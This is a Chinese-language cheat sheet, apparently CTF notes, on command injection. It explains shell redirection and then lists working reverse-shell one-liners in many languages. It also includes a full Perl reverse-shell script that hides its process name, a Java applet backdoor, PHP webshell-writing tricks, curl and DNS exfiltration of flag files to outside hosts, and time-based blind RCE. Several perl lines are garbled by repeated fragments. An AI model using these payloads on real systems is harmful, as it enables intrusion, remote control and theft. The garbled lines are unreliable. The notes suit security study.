目录
方法九:Telnet(nc不可用或/dev/tcp不可用时)(mknod是创建特殊文件-设备文件)
-
无回显怎么办?
-
1;sleep 5
-
-
Linux每日小技巧
-
文件描述符
-
linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字
- 当Linux启动的时候会默认打开三个文件描述符,分别是:
- 标准输入standard input 0 (默认设备键盘)
- 标准输出standard output 1(默认设备显示器)
- 错误输出:error output 2(默认设备显示器)
- 注意:
- (1)以后再打开文件,描述符可以依次增加
- (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。
-
-
奇技:Linux下一切皆文件
- 从两个角度看
-
第一个是shell
- shell是你(用户)和Linux(或者更准确的说,是你和Linux内核)之间的接口程序。你在提示符下输入的每个命令都由shell先解释然后传给Linux内核。
- shell 是一个命令语言解释器(command-language interpreter)。拥有自己内建的 shell 命令集。此外,shell也能被系统中其他有效的Linux 实用程序和应用程序(utilities and application programs)所调用。 不论何时你键入一个命令,它都被Linux shell所解释。 shell 首先检查命令是否是内部命令,不是的话再检查是否是一个应用程序,这里的应用程序可以是Linux本身的实用程序,然后shell试着在搜索路径($PATH)里寻找这些应用程序。搜索路径是一个能找到可执行程序的目录列表。如果你键入的命令不是一个内部命令并且在路径里没有找到这个可执行文件,将会显示一条错误信息。而如果命令被成功的找到的话,shell的内部命令或应用程序将被分解为系统调用并传给Linux内核。 shell的另一个重要特性是它自身就是一个解释型的程序设计语言。
- BASH是SHELL的一种,是大多数LINUX发行版默认的SHELL,除BASH SHELL外还有C SHELL等其它类型的SHELL。
- bash是sh的增强版本,在我们平常实地操作的时候如果sh这个命令不灵了我们应当使用bash。
-
第二个是port
- /dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备,其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
-
多命令顺序执行
-
举个栗子!!!!!!!!!
判断命令是否报错 命令 && echo yes || echo no命令正确打印yes命令错误打印no - | 命令格式'命令1|命令2'命令1的正确输出,作为命令2的操作对象
- || 命令1||命令2 逻辑或 当命令1执行不正确,则命令2才会执行 当命令2正确执行,则命令2不会执行
- && 命令1&&命令2 逻辑与 当命令1正确执行,则命令2才会执行 当命令1执行不正确,则命令2不会执行
- ; 命令1;命令2 多个命令顺序执行,命令之间没有任何逻辑联系
-
-
find命令
- find /bin -name *sh | nc IP 8888(这个题用到的命令)
- find --列出当前目录下的文件以及子目录所有文件
- 想要在/etc目录中查找文件名以host开头的文件:find /etc -name "host*" -print
- 将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:find . -name "*.c"
- 将当前目录及其子目录中的所有文件列出:find . -type f
- 将当前目录及其子目录下所有最近 20 天内更新过的文件列出:find . -ctime -20
- 查找 /var/log 目录中更改时间在 7 日以前的普通文件,并在删除之前询问它们:find /var/log -type f -mtime +7 -ok rm {} ;
- 想要查找$HOME目录中的文件:find ~ -name "*" -print或find . -print
- 根目录找所有文件find / -name "*" -print1.输入重定向:
- < file cat和cat < file是一样的,因为 解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。(像极了我没学明白的c语言指针)
-
-
1. 交互重定向
- 或者bash -i > /dev/tcp/ip/端口 0>&1 2>&1
-
- 为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
- 在受害者机器上输入bash -i > /dev/tcp/ip/端口
- 但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行;于是我们似乎还需要一条这样的指令:bash -i < /dev/tcp/ip/端口
- 现在我们需要将两条指令结合起来bash -i > /dev/tcp/ip/端口 0>&1
- 但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决
- >&、&>这个符号作用就是混合输出(错误、正确输出都输出到一个地方)bash -i > /dev/tcp/ip/端口 0>&1 2>&1
-
2.输出重定向
-
格式:
[n]> word
- 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
-
-
3.标准输出与标准错误输出重定向
-
格式:
&> word >& word
- 格式说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的
- 执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
-
-
4.文件描述符的复制
-
格式:
(这里所有字符之间不要有空格)[n]<&[m] 或 [n]>&[m]
- 这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
-
-
5.exec 绑定重定向
-
格式:
exec [n] < 或 > file/[n]
- 上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
-
格式:
[n]<>word
- 格式说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入
- < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向
- bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向
- <1>输出重定向 > >>
- <2>输入重定向 < <<
- 重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
- 一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
-
-
-
-
反弹shell的姿势和nc拓展
-
-
正向连接
- 正向反弹是靶机先执行nc命令,然后控制端上再进行nc监听,命令为:
-
靶机:
nc -lvp 9999 -e /bin/bash 或者 nc -lvp 9999 -e cmd.exe
-
控制端:
nc 靶机ip 9999
-
反向连接
-
反向反弹是控制端执行监听命令,让靶机连接控制端
-
方法一:bash(需要有nc)
- 靶机:
nc 监听地址 监听端口 -e /bin/bash nc 监听地址 监听端口 -e cmd.exe
- 控制端:
- nc -lvp 监听端口
- 但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f
- 简单的解释:
- mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
- 靶机:
-
方法二:sh
- 这个方法让我觉得奇奇妙妙
- 靶机:
nc ip 端口 -e /bin/sh
- 控制端:
nc -lvp 9999
- 为什么让我觉得奇妙呢,因为bash是sh的增强版,如果靶机中没有bash,那么bash不可以用但是sh可以用,因为虽然没有bash但是会有sh
-
方法三:bash
- 靶机:
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1
- 控制端:
nc -Lvp 9999
- 靶机:
-
方法四:python
- 需要靶机和控制端上都有python环境
- 靶机:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('监测的IP',监测的端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- 控制端:
nc -lvp 9999
-
方法五:PHP
- (注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。)
- 靶机:
php- 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/9999")'
- 或者
php -r '$sock=fsockopen("127.0.0.1",9999);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
- 控制端:
nc -Lvp 9999
- 遇到反弹后的不是正常的shell,可以用命令转化为常规的shell。
python -c 'import pty;pty.spawn("/bin/bash")'
- 代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6
-
方法六:perl
- 靶机:
perl -e 'use Socket;i="10.0.0.1";i="10.0.0.1";i="10.0.0.1";i="10.0.0.1";p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 使用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多,Perl还是很强大的
- 不依赖于/bin/sh的shell: 这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
- 系统运行windows时:
perl -MIO -e 'c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen(c=newIO::Socket::INET(PeerAddr,"attackerip:4444");STDIN−>fdopen(c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen(c=newIO::Socket::INET(PeerAddr,"attackerip:4444");STDIN−>fdopen(c,r);~->fdopen( −>fdopen(~->fdopen( −>fdopen(c,w);system$_ while<>;'
- 再给出完整Perl的反弹脚本
#!/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL use strict; use Socket; use FileHandle; use POSIX; my $VERSION = "1.0"; # Where to send the reverse shell. Change these. my $ip = '127.0.0.1'; my $port = 1234; # Options my $daemon = 1; my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shell my $authorised_client_pattern = qr(^127\.0\.0\.1$); # Declarations my $global_page = ""; my $fake_process_name = "/usr/sbin/apache"; # Change the process name to be less conspicious $0 = "[httpd]"; # Authenticate based on source IP address if required if (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } } } elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0); } # Background and dissociate from parent process if required if ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0); } # Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage(); } else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit(); } # Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, ">&SOCK"); open(STDOUT,">&SOCK"); open(STDERR,">&SOCK"); $ENV{'HISTFILE'} = '/dev/null'; system("w;uname -a;id;pwd"); exec({"/bin/sh"} ($fake_process_name, "-i")); # Wrapper around print sub cgiprint { my $line = shift; $line .= "<p>\n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page; }
- 靶机:
-
方法七:ruby
- 靶机:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- 不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
- 如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
- 靶机:
-
方法八:乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
-
方法九:Telnet(nc不可用或/dev/tcp不可用时)(mknod是创建特殊文件-设备文件)
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
-
方法十:Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8099;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])p.waitFor()
- 完整代码:
import java.io.*; import java.net.Socket; import java.util.*; import java.util.regex.*; import java.applet.Applet; public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } } }
-
-
-
端口扫描
- nc -v ip port 指定端口
- nc -v -w ip -z 1-65536 指定端口范围
- nc -nvz 127.0.0.1 1-100 使用全链接方式扫描端口(TCP扫描)
- nc -nvzu 192.168.1.105 1-1024 udp扫描
- -v 输出详细报告
- -w timeout 一个链接一段时间无操作,则自动断开,默认无超时
- -z 只监听不发送任何包
-
文件传输
-
nc -l 8099 > 要接受的文件名
-
nc 目的IP 8099 < 要发送的文件
-
-
-
-
-
curl上传文件
- 这个方法类似dnslog,万能burp赐予我力量,奇奇怪怪也很好玩
- curl可以正常执行,那么使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)
- 拼接payload就可以得到你想要的啦
-
127.0.0.1;curl -X POST -F xx=@index.php 8x6pxq5qawbkmjg8kc8pm06vum0co1.burpcollaborator.net
- 根目录下的flag也很轻松
127.0.0.1;curl -X POST -F xx=@/flag 8x6pxq5qawbkmjg8kc8pm06vum0co1.burpcollaborator.net
-
我最喜欢的写一句话木马
-
可输入长度被限制
- linux的一些特性
- >a 虽然没有输入但是会创建a这个文件
- ls -t ls基于基于事件排序(从晚到早)
- sh a sh会把a里面的每行内容当作命令来执行使用|进行命令拼接 #l\ s = ls
- base64 使用base64编码避免特殊字符
- 如果我们要写的一句话为<?php eval($_GET[1]);
- base64编码后PD9waHAgZXZhbCgkX0dFVFsxXSk7
- 最终需要被执行的语句
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
- 然后将语句分拆,输出为文件名,然后最后两行是
>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0
- 用python打payload
import requests url = "http://xxxxx/index.php?cmd={0}" print("[+]start attack!!!") with open("execpayload.txt", "r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip()))
- 最终会在目录下生成1.php,里面就是一句话木马
- 如果是五位字符限制,则最后用:
>ls\\
ls>a
>\ \\
>-t\\
>\>0ls>>a
sh a
- 四位:
-
>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0cat 0
- linux的一些特性
-
没有限制且有写入权限
-
echo "<?php @eval($_POST['cmd']); ?>" > fuck.php
-
-
复制、压缩的方法
-
copy flag.php 1.txt
-
mv flag.php flag.txt
-
cat flag.php > flag.txt
-
tar cvf flag.tar flag.php
-
tar zcvf flag.tar.gz flag.php
-
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
-
-
-
dnslog外带
-
方法
-
curl http://ip.port.b182oj.ceye.io/whoami``
-
ping whoami.ip.port.b182oj.ceye.io
-
-
Windows常用变量
- windows常用变量:
- //变量 类型 描述
- //%ALLUSERSPROFILE% 本地 返回"所有用户"配置文件的位置。
- //%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
- //%CD% 本地 返回当前目录字符串。
- //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
- //%CMDEXTVERSION% 系统 返回当前的"命令处理程序扩展"的版本号。
- //%COMPUTERNAME% 系统 返回计算机的名称。
- //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
- //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
- //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
- //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
- //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
- //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
- //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
- //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
- //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
- //%PATH% 系统 指定可执行文件的搜索路径。
- //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
- //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
- //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
- //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
- //%PROCESSOR_REVISION% 系统 返回处理器的版本号。
- //%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
- //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
- //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
- //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
- //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
- //%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
- //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
- //%USERNAME% 本地 返回当前登录的用户的名称。
- //%USERPROFILE% 本地 返回当前用户的配置文件的位置。
- //%WINDIR% 系统 返回操作系统目录的位置。
- 如果执行了ls命令,只能回弹一行,可以采用sed命令进行划分
- 列如
- ls | sed -n '1p'
- 0708.py
- ls | sed -n '2p'
- 1123.php
- 又或者文件名长度超过限制,可以使用cut命令对文件名进行划分
- 例如
- ls | sed -n '1p' | cut -c 1-3
- 070
- | sed -n '1p' | cut -c 1-2
- 07
-
-
类似利用sleep进行回显
-
时间盲注rce
-
会延迟十秒?cmd=if [1=1];then sleep 10;fi
会立即响应,所以可以利用这种类似sql盲注的方法进行RCE执行结果获取?cmd=if [1=2];then sleep 10;fi
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
-
-